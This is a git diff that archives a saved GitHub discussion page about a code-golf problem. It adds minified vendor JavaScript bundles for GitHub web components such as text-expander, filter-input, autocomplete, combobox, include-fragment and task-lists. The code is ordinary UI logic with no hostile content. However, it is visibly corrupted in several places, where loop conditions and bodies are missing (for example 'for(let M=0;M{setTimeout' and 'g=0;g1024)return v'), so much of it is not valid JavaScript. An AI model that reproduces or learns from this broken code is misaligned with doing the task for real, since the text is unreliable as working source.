n=this.menu;return!n||!this.combobox?!1:(this.menu=null,n.removeEventListener("combobox-commit",this.oncommit),n.removeEventListener("mousedown",this.onmousedown),this.combobox.destroy(),this.combobox=null,n.remove(),!0)}onCommit({target:n}){const a=n;if(!(a instanceof HTMLElement)||!this.combobox)return;const h=this.match;if(!h)return;const g=this.input.value.substring(0,h.position-h.key.length),y=this.input.value.substring(h.position+h.text.length),T={item:a,key:h.key,value:null};if(!this.expander.dispatchEvent(new CustomEvent("text-expander-value",{cancelable:!0,detail:T}))||!T.value)return;const s=`${T.value} `;this.input.value=g+s+y;const i=g.length+s.length;this.deactivate(),this.input.focus({preventScroll:!0}),this.input.selectionStart=i,this.input.selectionEnd=i,this.lookBackIndex=i,this.match=null}onBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async onInput(){if(this.justPasted){this.justPasted=!1;return}const n=this.findMatch();if(n){this.match=n;const a=await this.notifyProviders(n);if(!this.match)return;a?this.activate(n,a):this.deactivate()}else this.match=null,this.deactivate()}findMatch(){const n=this.input.selectionEnd||0,a=this.input.value;n<=this.lookBackIndex&&(this.lookBackIndex=n-1);for(const{key:h,multiWord:g}of this.expander.keys){const y=W(a,h,n,{multiWord:g,lookBackIndex:this.lookBackIndex,lastMatchPosition:this.match?this.match.position:null});if(y)return{text:y.text,key:h,position:y.position}}}async notifyProviders(n){const a=[],h=c(u=>a.push(u),"provide");return this.expander.dispatchEvent(new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:h,text:n.text,key:n.key}}))?(await Promise.all(a)).filter(u=>u.matched).map(u=>u.fragment)[0]:void 0}onMousedown(){this.interactingWithList=!0}onKeydown(n){n.key==="Escape"&&(this.match=null,this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex,n.stopImmediatePropagation(),n.preventDefault()))}}c(m,"TextExpander");class v extends HTMLElement{get keys(){const n=this.getAttribute("keys"),a=n?n.split(" "):[],h=this.getAttribute("multiword"),g=h?h.split(" "):[],y=g.length===0&&this.hasAttribute("multiword");return a.map(T=>({key:T,multiWord:y||g.includes(T)}))}connectedCallback(){const n=this.querySelector('input[type="text"], textarea');if(!(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement))return;const a=new m(this,n);k.set(this,a)}disconnectedCallback(){const n=k.get(this);!n||(n.destroy(),k.delete(this))}dismiss(){const n=k.get(this);!n||n.dismissMenu()}}c(v,"TextExpanderElement"),window.customElements.get("text-expander")||(window.TextExpanderElement=v,window.customElements.define("text-expander",v));var d=null},88823:()=>{const j=function(){return document.readyState==="complete"?Promise.resolve():new Promise(W=>{window.addEventListener("load",W)})}();class P extends HTMLElement{async connectedCallback(){await j,this.content&&await x(this.lines,this.content,this.characterDelay,this.lineDelay),this.cursor&&(this.cursor.hidden=!0),this.dispatchEvent(new CustomEvent("typing:complete",{bubbles:!0,cancelable:!0}))}get content(){return this.querySelector('[data-target="typing-effect.content"]')}get cursor(){return this.querySelector('[data-target="typing-effect.cursor"]')}get lines(){const S=this.getAttribute("data-lines");try{return S?JSON.parse(S):[]}catch{return[]}}get prefersReducedMotion(){return window.matchMedia("(prefers-reduced-motion)").matches}get characterDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-character-delay"))),2147483647))||40}set characterDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-character-delay",String(S))}get lineDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-line-delay"))),2147483647))||40}set lineDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-line-delay",String(S))}}c(P,"TypingEffectElement");var I=null;window.customElements.get("typing-effect")||(window.TypingEffectElement=P,window.customElements.define("typing-effect",P));async function x(W,S,B,H){for(let M=0;M{setTimeout(S,W)})}c(_,"wait")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-58612d26affb.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js new file mode 100644 index 0000000..1396f80 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var W=Object.defineProperty;var o=(D,x)=>W(D,"name",{value:x,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed"],{13002:(D,x,M)=>{M.d(x,{Z:()=>d});class v extends HTMLElement{constructor(){super();this.currentQuery=null,this.filter=null,this.debounceInputChange=_(()=>u(this,!0)),this.boundFilterResults=()=>{u(this,!1)}}static get observedAttributes(){return["aria-owns"]}attributeChangedCallback(n,t){t&&n==="aria-owns"&&u(this,!1)}connectedCallback(){const n=this.input;!n||(n.setAttribute("autocomplete","off"),n.setAttribute("spellcheck","false"),n.addEventListener("focus",this.boundFilterResults),n.addEventListener("change",this.boundFilterResults),n.addEventListener("input",this.debounceInputChange))}disconnectedCallback(){const n=this.input;!n||(n.removeEventListener("focus",this.boundFilterResults),n.removeEventListener("change",this.boundFilterResults),n.removeEventListener("input",this.debounceInputChange))}get input(){const n=this.querySelector("input");return n instanceof HTMLInputElement?n:null}reset(){const n=this.input;n&&(n.value="",n.dispatchEvent(new Event("change",{bubbles:!0})))}}o(v,"FilterInputElement");async function u(e,n=!1){const t=e.input;if(!t)return;const a=t.value.trim(),l=e.getAttribute("aria-owns");if(!l)return;const r=document.getElementById(l);if(!r)return;const c=r.hasAttribute("data-filter-list")?r:r.querySelector("[data-filter-list]");if(!c||(e.dispatchEvent(new CustomEvent("filter-input-start",{bubbles:!0})),n&&e.currentQuery===a))return;e.currentQuery=a;const m=e.filter||S,A=c.childElementCount;let h=0,k=!1;for(const g of Array.from(c.children)){if(!(g instanceof HTMLElement))continue;const L=w(g),R=m(g,L,a);R.hideNew===!0&&(k=R.hideNew),g.hidden=!R.match,R.match&&h++}const b=r.querySelector("[data-filter-new-item]"),E=!!b&&a.length>0&&!k;b instanceof HTMLElement&&(b.hidden=!E,E&&p(b,a)),y(r,h>0||E),e.dispatchEvent(new CustomEvent("filter-input-updated",{bubbles:!0,detail:{count:h,total:A}}))}o(u,"filterResults");function S(e,n,t){return{match:n.toLowerCase().indexOf(t.toLowerCase())!==-1,hideNew:n===t}}o(S,"matchSubstring");function w(e){return((e.querySelector("[data-filter-item-text]")||e).textContent||"").trim()}o(w,"getText");function p(e,n){const t=e.querySelector("[data-filter-new-item-text]");t&&(t.textContent=n);const a=e.querySelector("[data-filter-new-item-value]");(a instanceof HTMLInputElement||a instanceof HTMLButtonElement)&&(a.value=n)}o(p,"updateNewItem");function y(e,n){const t=e.querySelector("[data-filter-empty-state]");t instanceof HTMLElement&&(t.hidden=n)}o(y,"toggleBlankslate");function _(e){let n;return function(){clearTimeout(n),n=setTimeout(()=>{clearTimeout(n),e()},300)}}o(_,"debounce");const d=v;window.customElements.get("filter-input")||(window.FilterInputElement=v,window.customElements.define("filter-input",v))},88309:(D,x,M)=>{M.d(x,{Z:()=>_});const v=new WeakMap;class u extends HTMLElement{constructor(){super();const e=w.bind(null,this,!0),n={currentQuery:null,oninput:y(e),fetch:e,controller:null};v.set(this,n)}static get observedAttributes(){return["src"]}attributeChangedCallback(e,n){n&&e==="src"&&w(this,!1)}connectedCallback(){const e=this.input;if(!e)return;e.setAttribute("autocomplete","off"),e.setAttribute("spellcheck","false");const n=v.get(this);!n||(e.addEventListener("focus",n.fetch),e.addEventListener("change",n.fetch),e.addEventListener("input",n.oninput))}disconnectedCallback(){const e=this.input;if(!e)return;const n=v.get(this);!n||(e.removeEventListener("focus",n.fetch),e.removeEventListener("change",n.fetch),e.removeEventListener("input",n.oninput))}get input(){const e=this.querySelector("input, textarea");return e instanceof HTMLInputElement||e instanceof HTMLTextAreaElement?e:null}get src(){return this.getAttribute("src")||""}set src(e){this.setAttribute("src",e)}}o(u,"RemoteInputElement");function S(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}o(S,"makeAbortController");async function w(d,e){const n=d.input;if(!n)return;const t=v.get(d);if(!t)return;const a=n.value;if(e&&t.currentQuery===a)return;t.currentQuery=a;const l=d.src;if(!l)return;const r=document.getElementById(d.getAttribute("aria-owns")||"");if(!r)return;const c=new URL(l,window.location.href),m=new URLSearchParams(c.search);m.append(d.getAttribute("param")||"q",a),c.search=m.toString(),t.controller?t.controller.abort():(d.dispatchEvent(new CustomEvent("loadstart")),d.setAttribute("loading","")),t.controller=S();let A,h="";try{A=await p(d,c.toString(),{signal:t.controller.signal,credentials:"same-origin",headers:{accept:"text/fragment+html"}}),h=await A.text(),d.removeAttribute("loading"),t.controller=null}catch(k){k.name!=="AbortError"&&(d.removeAttribute("loading"),t.controller=null);return}A&&A.ok?(r.innerHTML=h,d.dispatchEvent(new CustomEvent("remote-input-success",{bubbles:!0}))):d.dispatchEvent(new CustomEvent("remote-input-error",{bubbles:!0}))}o(w,"fetchResults");async function p(d,e,n){try{const t=await fetch(e,n);return d.dispatchEvent(new CustomEvent("load")),d.dispatchEvent(new CustomEvent("loadend")),t}catch(t){throw t.name!=="AbortError"&&(d.dispatchEvent(new CustomEvent("error")),d.dispatchEvent(new CustomEvent("loadend"))),t}}o(p,"fetchWithNetworkEvents");function y(d){let e;return function(){clearTimeout(e),e=setTimeout(()=>{clearTimeout(e),d()},300)}}o(y,"debounce");const _=u;window.customElements.get("remote-input")||(window.RemoteInputElement=u,window.customElements.define("remote-input",u))},29501:(D,x,M)=>{M.d(x,{Z:()=>u});function v(w){return Array.from(w.querySelectorAll('[role="tablist"] [role="tab"]')).filter(p=>p instanceof HTMLElement&&p.closest(w.tagName)===w)}o(v,"getTabs");class u extends HTMLElement{constructor(){super();this.addEventListener("keydown",p=>{const y=p.target;if(!(y instanceof HTMLElement)||y.closest(this.tagName)!==this||y.getAttribute("role")!=="tab"&&!y.closest('[role="tablist"]'))return;const _=v(this),d=_.indexOf(_.find(e=>e.matches('[aria-selected="true"]')));if(p.code==="ArrowRight"){let e=d+1;e>=_.length&&(e=0),S(this,e)}else if(p.code==="ArrowLeft"){let e=d-1;e<0&&(e=_.length-1),S(this,e)}else p.code==="Home"?(S(this,0),p.preventDefault()):p.code==="End"&&(S(this,_.length-1),p.preventDefault())}),this.addEventListener("click",p=>{const y=v(this);if(!(p.target instanceof Element)||p.target.closest(this.tagName)!==this)return;const _=p.target.closest('[role="tab"]');if(!(_ instanceof HTMLElement)||!_.closest('[role="tablist"]'))return;const d=y.indexOf(_);S(this,d)})}connectedCallback(){for(const p of v(this))p.hasAttribute("aria-selected")||p.setAttribute("aria-selected","false"),p.hasAttribute("tabindex")||(p.getAttribute("aria-selected")==="true"?p.setAttribute("tabindex","0"):p.setAttribute("tabindex","-1"))}}o(u,"TabContainerElement");function S(w,p){const y=v(w),_=Array.from(w.querySelectorAll('[role="tabpanel"]')).filter(t=>t.closest(w.tagName)===w),d=y[p],e=_[p];if(!!w.dispatchEvent(new CustomEvent("tab-container-change",{bubbles:!0,cancelable:!0,detail:{relatedTarget:e}}))){for(const t of y)t.setAttribute("aria-selected","false"),t.setAttribute("tabindex","-1");for(const t of _)t.hidden=!0,!t.hasAttribute("tabindex")&&!t.hasAttribute("data-tab-container-no-tabstop")&&t.setAttribute("tabindex","0");d.setAttribute("aria-selected","true"),d.setAttribute("tabindex","0"),d.focus(),e.hidden=!1,w.dispatchEvent(new CustomEvent("tab-container-changed",{bubbles:!0,detail:{relatedTarget:e}}))}}o(S,"selectTab"),window.customElements.get("tab-container")||(window.TabContainerElement=u,window.customElements.define("tab-container",u))},47142:(D,x,M)=>{M.d(x,{CD:()=>A,Gs:()=>c,m7:()=>m});var v=-1/0,u=1/0,S=-.005,w=-.005,p=-.01,y=1,_=.9,d=.8,e=.7,n=.6;function t(h){return h.toLowerCase()===h}o(t,"islower");function a(h){return h.toUpperCase()===h}o(a,"isupper");function l(h){for(var k=h.length,b=new Array(k),E="/",g=0;g1024)return v;var g=new Array(b),L=new Array(b);return r(h,k,g,L),L[b-1][E-1]}o(c,"score");function m(h,k){var b=h.length,E=k.length,g=new Array(b);if(!b||!E)return g;if(b===E){for(var L=0;L1024)return g;var R=new Array(b),O=new Array(b);r(h,k,R,O);for(var I=!1,L=b-1,T=E-1;L>=0;L--)for(;T>=0;T--)if(R[L][T]!==v&&(I||R[L][T]===O[L][T])){I=L&&T&&O[L][T]===R[L-1][T-1]+y,g[L]=T--;break}return g}o(m,"positions");function A(h,k){h=h.toLowerCase(),k=k.toLowerCase();for(var b=h.length,E=0,g=0;E{M.d(x,{Z:()=>a});var v=M(10160);class u extends CustomEvent{constructor(r,c){super(r,c);this.relatedTarget=c.relatedTarget}}o(u,"AutocompleteEvent");function S(l,r=0){let c;return function(...m){clearTimeout(c),c=window.setTimeout(()=>{clearTimeout(c),l(...m)},r)}}o(S,"debounce");const w=new WeakMap;function p(l,r){const c=new XMLHttpRequest;return c.open("GET",r,!0),c.setRequestHeader("Accept","text/fragment+html"),y(l,c)}o(p,"fragment");function y(l,r){const c=w.get(l);c&&c.abort(),w.set(l,r);const m=o(()=>w.delete(l),"clear"),A=_(r);return A.then(m,m),A}o(y,"request");function _(l){return new Promise((r,c)=>{l.onload=function(){l.status>=200&&l.status<300?r(l.responseText):c(new Error(l.responseText))},l.onerror=c,l.send()})}o(_,"send");const d=window.testScreenReaderDelay||100;class e{constructor(r,c,m,A=!1){var h;if(this.container=r,this.input=c,this.results=m,this.combobox=new v.Z(c,m),this.feedback=document.getElementById(`${this.results.id}-feedback`),this.autoselectEnabled=A,this.clearButton=document.getElementById(`${this.input.id||this.input.name}-clear`),this.clientOptions=m.querySelectorAll("[role=option]"),this.feedback&&(this.feedback.setAttribute("aria-live","polite"),this.feedback.setAttribute("aria-atomic","true")),this.clearButton&&!this.clearButton.getAttribute("aria-label")){const k=document.querySelector(`label[for="${this.input.name}"]`);this.clearButton.setAttribute("aria-label","clear:"),this.clearButton.setAttribute("aria-labelledby",`${this.clearButton.id} ${(k==null?void 0:k.id)||""}`)}this.input.getAttribute("aria-expanded")||this.input.setAttribute("aria-expanded","false"),this.results.hidden=!0,this.results.setAttribute("aria-label","results"),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("spellcheck","false"),this.interactingWithList=!1,this.onInputChange=S(this.onInputChange.bind(this),300),this.onResultsMouseDown=this.onResultsMouseDown.bind(this),this.onInputBlur=this.onInputBlur.bind(this),this.onInputFocus=this.onInputFocus.bind(this),this.onKeydown=this.onKeydown.bind(this),this.onCommit=this.onCommit.bind(this),this.handleClear=this.handleClear.bind(this),this.input.addEventListener("keydown",this.onKeydown),this.input.addEventListener("focus",this.onInputFocus),this.input.addEventListener("blur",this.onInputBlur),this.input.addEventListener("input",this.onInputChange),this.results.addEventListener("mousedown",this.onResultsMouseDown),this.results.addEventListener("combobox-commit",this.onCommit),(h=this.clearButton)===null||h===void 0||h.addEventListener("click",this.handleClear)}destroy(){this.input.removeEventListener("keydown",this.onKeydown),this.input.removeEventListener("focus",this.onInputFocus),this.input.removeEventListener("blur",this.onInputBlur),this.input.removeEventListener("input",this.onInputChange),this.results.removeEventListener("mousedown",this.onResultsMouseDown),this.results.removeEventListener("combobox-commit",this.onCommit)}handleClear(r){r.preventDefault(),this.input.getAttribute("aria-expanded")==="true"&&(this.input.setAttribute("aria-expanded","false"),this.updateFeedbackForScreenReaders("Results hidden.")),this.input.value="",this.container.value="",this.input.focus(),this.input.dispatchEvent(new Event("change")),this.container.open=!1}onKeydown(r){if(r.key==="Enter"&&this.container.open&&this.autoselectEnabled){const c=this.results.children[0];c&&(r.stopPropagation(),r.preventDefault(),this.onCommit({target:c}))}if(r.key==="Escape"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowUp"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowDown"&&!this.container.open){if(!this.input.value.trim())return;this.container.open=!0,r.stopPropagation(),r.preventDefault()}}onInputFocus(){this.fetchResults()}onInputBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.container.open=!1}onCommit({target:r}){const c=r;if(!(c instanceof HTMLElement)||(this.container.open=!1,c instanceof HTMLAnchorElement))return;const m=c.getAttribute("data-autocomplete-value")||c.textContent;this.updateFeedbackForScreenReaders(`${c.textContent||""} selected.`),this.container.value=m,m||this.updateFeedbackForScreenReaders("Results hidden.")}onResultsMouseDown(){this.interactingWithList=!0}onInputChange(){this.feedback&&this.feedback.innerHTML&&(this.feedback.innerHTML=""),this.container.removeAttribute("value"),this.fetchResults()}identifyOptions(){let r=0;for(const c of this.results.querySelectorAll('[role="option"]:not([id])'))c.id=`${this.results.id}-option-${r++}`}updateFeedbackForScreenReaders(r){setTimeout(()=>{this.feedback&&(this.feedback.innerHTML=r)},d)}fetchResults(){const r=this.input.value.trim();if(!r){this.container.open=!1;return}const c=this.container.src;if(!c)return;const m=new URL(c,window.location.href),A=new URLSearchParams(m.search.slice(1));A.append("q",r),m.search=A.toString(),this.container.dispatchEvent(new CustomEvent("loadstart")),p(this.input,m.toString()).then(h=>{this.results.innerHTML=h,this.identifyOptions();const k=this.results.querySelectorAll('[role="option"]'),b=!!k.length,E=k.length,[g]=k,L=g==null?void 0:g.textContent;this.autoselectEnabled&&L?this.updateFeedbackForScreenReaders(`${E} results. ${L} is the top result: Press Enter to activate.`):this.updateFeedbackForScreenReaders(`${E||"No"} results.`),this.container.open=b,this.container.dispatchEvent(new CustomEvent("load")),this.container.dispatchEvent(new CustomEvent("loadend"))}).catch(()=>{this.container.dispatchEvent(new CustomEvent("error")),this.container.dispatchEvent(new CustomEvent("loadend"))})}open(){!this.results.hidden||(this.combobox.start(),this.results.hidden=!1)}close(){this.results.hidden||(this.combobox.stop(),this.results.hidden=!0)}}o(e,"Autocomplete");const n=new WeakMap;class t extends HTMLElement{connectedCallback(){const r=this.getAttribute("for");if(!r)return;const c=this.querySelector("input"),m=document.getElementById(r);if(!(c instanceof HTMLInputElement)||!m)return;const A=this.getAttribute("data-autoselect")==="true";n.set(this,new e(this,c,m,A)),m.setAttribute("role","listbox")}disconnectedCallback(){const r=n.get(this);r&&(r.destroy(),n.delete(this))}get src(){return this.getAttribute("src")||""}set src(r){this.setAttribute("src",r)}get value(){return this.getAttribute("value")||""}set value(r){this.setAttribute("value",r)}get open(){return this.hasAttribute("open")}set open(r){r?this.setAttribute("open",""):this.removeAttribute("open")}static get observedAttributes(){return["open","value"]}attributeChangedCallback(r,c,m){if(c===m)return;const A=n.get(this);if(!!A)switch(r){case"open":m===null?A.close():A.open();break;case"value":m!==null&&(A.input.value=m),this.dispatchEvent(new u("auto-complete-change",{bubbles:!0,relatedTarget:A.input}));break}}}o(t,"AutocompleteElement"),window.customElements.get("auto-complete")||(window.AutocompleteElement=t,window.customElements.define("auto-complete",t));const a=t},10160:(D,x,M)=>{M.d(x,{Z:()=>u});const v=!!navigator.userAgent.match(/Macintosh/);class u{constructor(a,l){this.input=a,this.list=l,this.isComposing=!1,l.id||(l.id=`combobox-${Math.random().toString().slice(2,6)}`),this.keyboardEventHandler=r=>S(r,this),this.compositionEventHandler=r=>d(r,this),this.inputHandler=this.clearSelection.bind(this),a.setAttribute("role","combobox"),a.setAttribute("aria-controls",l.id),a.setAttribute("aria-expanded","false"),a.setAttribute("aria-autocomplete","list"),a.setAttribute("aria-haspopup","listbox")}destroy(){this.clearSelection(),this.stop(),this.input.removeAttribute("role"),this.input.removeAttribute("aria-controls"),this.input.removeAttribute("aria-expanded"),this.input.removeAttribute("aria-autocomplete"),this.input.removeAttribute("aria-haspopup")}start(){this.input.setAttribute("aria-expanded","true"),this.input.addEventListener("compositionstart",this.compositionEventHandler),this.input.addEventListener("compositionend",this.compositionEventHandler),this.input.addEventListener("input",this.inputHandler),this.input.addEventListener("keydown",this.keyboardEventHandler),this.list.addEventListener("click",w)}stop(){this.clearSelection(),this.input.setAttribute("aria-expanded","false"),this.input.removeEventListener("compositionstart",this.compositionEventHandler),this.input.removeEventListener("compositionend",this.compositionEventHandler),this.input.removeEventListener("input",this.inputHandler),this.input.removeEventListener("keydown",this.keyboardEventHandler),this.list.removeEventListener("click",w)}navigate(a=1){const l=Array.from(this.list.querySelectorAll('[aria-selected="true"]')).filter(_)[0],r=Array.from(this.list.querySelectorAll('[role="option"]')).filter(_),c=r.indexOf(l);if(c===r.length-1&&a===1||c===0&&a===-1){this.clearSelection(),this.input.focus();return}let m=a===1?0:r.length-1;if(l&&c>=0){const h=c+a;h>=0&&h0||t.offsetHeight>0)}o(_,"visible");function d(t,a){a.isComposing=t.type==="compositionstart",!!document.getElementById(a.input.getAttribute("aria-controls")||"")&&a.clearSelection()}o(d,"trackComposition");function e(t,a){n(t,a)||(t.scrollTop=a.offsetTop)}o(e,"scrollTo");function n(t,a){const l=t.scrollTop,r=l+t.clientHeight,c=a.offsetTop,m=c+a.clientHeight;return c>=l&&m<=r}o(n,"inViewport")},27034:(D,x,M)=>{M.d(x,{Z:()=>d});const v=new WeakMap,u=new IntersectionObserver(e=>{for(const n of e)if(n.isIntersecting){const{target:t}=n;if(u.unobserve(t),!(t instanceof d))return;t.loading==="lazy"&&w(t)}},{rootMargin:"0px 0px 256px 0px",threshold:.01});function S(){return new Promise(e=>setTimeout(e,0))}o(S,"task");async function w(e){return u.unobserve(e),p(e).then(function(n){const t=document.createElement("template");t.innerHTML=n;const a=document.importNode(t.content,!0);!e.dispatchEvent(new CustomEvent("include-fragment-replace",{cancelable:!0,detail:{fragment:a}}))||(e.replaceWith(a),e.dispatchEvent(new CustomEvent("include-fragment-replaced")))},function(){e.classList.add("is-error")})}o(w,"handleData");function p(e){const n=e.src;let t=v.get(e);return t&&t.src===n?t.data:(n?t=y(e):t=Promise.reject(new Error("missing src")),v.set(e,{src:n,data:t}),t)}o(p,"getData");function y(e){return S().then(()=>(e.dispatchEvent(new Event("loadstart")),e.fetch(e.request()))).then(n=>{if(n.status!==200)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);const t=n.headers.get("Content-Type");if(!_(e.accept)&&(!t||!t.includes(e.accept?e.accept:"text/html")))throw new Error(`Failed to load resource: expected ${e.accept||"text/html"} but was ${t}`);return n.text()}).then(n=>(S().then(()=>{e.dispatchEvent(new Event("load")),e.dispatchEvent(new Event("loadend"))}),n),n=>{throw S().then(()=>{e.dispatchEvent(new Event("error")),e.dispatchEvent(new Event("loadend"))}),n})}o(y,"fetchDataWithEvents");function _(e){return e&&!!e.split(",").find(n=>n.match(/^\s*\*\/\*/))}o(_,"isWildcard");class d extends HTMLElement{static get observedAttributes(){return["src","loading"]}get src(){const n=this.getAttribute("src");if(n){const t=this.ownerDocument.createElement("a");return t.href=n,t.href}else return""}set src(n){this.setAttribute("src",n)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(n){this.setAttribute("loading",n)}get accept(){return this.getAttribute("accept")||""}set accept(n){this.setAttribute("accept",n)}get data(){return p(this)}attributeChangedCallback(n,t){n==="src"?this.isConnected&&this.loading==="eager"&&w(this):n==="loading"&&this.isConnected&&t!=="eager"&&this.loading==="eager"&&w(this)}constructor(){super();this.attachShadow({mode:"open"}).innerHTML=` + + `}connectedCallback(){this.src&&this.loading==="eager"&&w(this),this.loading==="lazy"&&u.observe(this)}request(){const n=this.src;if(!n)throw new Error("missing src");return new Request(n,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"text/html"}})}load(){return p(this)}fetch(n){return fetch(n)}}o(d,"IncludeFragmentElement"),window.customElements.get("include-fragment")||(window.IncludeFragmentElement=d,window.customElements.define("include-fragment",d))},40987:(D,x,M)=>{M.d(x,{Z:()=>l});const v=new WeakMap;let u=null;function S(){return!!u}o(S,"isDragging");function w(i,s,f){v.set(i,{sortStarted:s,sortFinished:f}),i.addEventListener("dragstart",_),i.addEventListener("dragenter",d),i.addEventListener("dragend",n),i.addEventListener("drop",e),i.addEventListener("dragover",t)}o(w,"sortable");function p(i,s){if(i.parentNode===s.parentNode){let f=i;for(;f;){if(f===s)return!0;f=f.previousElementSibling}}return!1}o(p,"isBefore");function y(i,s){return i.closest("task-lists")===s.closest("task-lists")}o(y,"isSameContainer");function _(i){if(i.currentTarget!==i.target)return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".contains-task-list");if(!f||(s.classList.add("is-ghost"),i.dataTransfer&&i.dataTransfer.setData("text/plain",(s.textContent||"").trim()),!s.parentElement))return;const C=Array.from(s.parentElement.children),F=C.indexOf(s),B=v.get(s);B&&B.sortStarted(f),u={didDrop:!1,dragging:s,dropzone:s,sourceList:f,sourceSibling:C[F+1]||null,sourceIndex:F}}o(_,"onDragStart");function d(i){if(!u)return;const s=i.currentTarget;if(s instanceof Element){if(!y(u.dragging,s)){i.stopPropagation();return}i.preventDefault(),i.dataTransfer&&(i.dataTransfer.dropEffect="move"),u.dropzone!==s&&(u.dragging.classList.add("is-dragging"),u.dropzone=s,p(u.dragging,s)?s.before(u.dragging):s.after(u.dragging))}}o(d,"onDragEnter");function e(i){if(!u)return;i.preventDefault(),i.stopPropagation();const s=i.currentTarget;if(!(s instanceof Element)||(u.didDrop=!0,!u.dragging.parentElement))return;let f=Array.from(u.dragging.parentElement.children).indexOf(u.dragging);const C=s.closest(".contains-task-list");if(!C||u.sourceIndex===f&&u.sourceList===C)return;u.sourceList===C&&u.sourceIndex{const C=f.target;C instanceof HTMLInputElement&&(!C.classList.contains("task-list-item-checkbox")||this.dispatchEvent(new CustomEvent("task-lists-check",{bubbles:!0,detail:{position:k(C),checked:C.checked}})))});const s=new MutationObserver(L.bind(null,this));a.set(this,s),s.observe(this,{childList:!0,subtree:!0}),L(this)}disconnectedCallback(){const s=a.get(this);s&&s.disconnect()}get disabled(){return this.hasAttribute("disabled")}set disabled(s){s?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get sortable(){return this.hasAttribute("sortable")}set sortable(s){s?this.setAttribute("sortable",""):this.removeAttribute("sortable")}static get observedAttributes(){return["disabled"]}attributeChangedCallback(s,f,C){if(f!==C)switch(s){case"disabled":R(this);break}}}o(l,"TaskListsElement");const r=document.createElement("template");r.innerHTML=` + + + `;const c=new WeakMap;function m(i){if(c.get(i))return;c.set(i,!0);const s=i.closest("task-lists");if(!(s instanceof l)||s.querySelectorAll(".task-list-item").length<=1)return;const f=r.content.cloneNode(!0),C=f.querySelector(".handle");if(i.prepend(f),!C)throw new Error("handle not found");C.addEventListener("mouseenter",P),C.addEventListener("mouseleave",H),w(i,T,q),i.addEventListener("mouseenter",A),i.addEventListener("mouseleave",h)}o(m,"initItem");function A(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest("task-lists");f instanceof l&&f.sortable&&!f.disabled&&s.classList.add("hovered")}o(A,"onListItemMouseOver");function h(i){const s=i.currentTarget;s instanceof Element&&s.classList.remove("hovered")}o(h,"onListItemMouseOut");function k(i){const s=b(i);if(!s)throw new Error(".contains-task-list not found");const f=i.closest(".task-list-item"),C=Array.from(s.children).filter(B=>B.tagName==="LI"),F=f?C.indexOf(f):-1;return[O(s),F]}o(k,"position");function b(i){const s=i.parentElement;return s?s.closest(".contains-task-list"):null}o(b,"taskList");function E(i){return b(i)===g(i)}o(E,"isRootTaskList");function g(i){const s=b(i);return s?g(s)||s:null}o(g,"rootTaskList");function L(i){const s=i.querySelectorAll(".contains-task-list > .task-list-item");for(const f of s)E(f)&&m(f);R(i)}o(L,"syncState");function R(i){for(const s of i.querySelectorAll(".task-list-item"))s.classList.toggle("enabled",!i.disabled);for(const s of i.querySelectorAll(".task-list-item-checkbox"))s instanceof HTMLInputElement&&(s.disabled=i.disabled)}o(R,"syncDisabled");function O(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");return Array.from(s.querySelectorAll("ol, ul")).indexOf(i)}o(O,"listIndex");const I=new WeakMap;function T(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");I.set(s,Array.from(s.querySelectorAll("ol, ul")))}o(T,"onSortStart");function q({src:i,dst:s}){const f=i.list.closest("task-lists");if(!f)return;const C=I.get(f);!C||(I.delete(f),f.dispatchEvent(new CustomEvent("task-lists-move",{bubbles:!0,detail:{src:[C.indexOf(i.list),i.index],dst:[C.indexOf(s.list),s.index]}})))}o(q,"onSorted");function P(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");if(!f)return;const C=f.closest("task-lists");C instanceof l&&C.sortable&&!C.disabled&&f.setAttribute("draggable","true")}o(P,"onHandleMouseOver");function H(i){if(S())return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");!f||f.setAttribute("draggable","false")}o(H,"onHandleMouseOut"),window.customElements.get("task-lists")||(window.TaskListsElement=l,window.customElements.define("task-lists",l))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-f8db72a328a9.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · 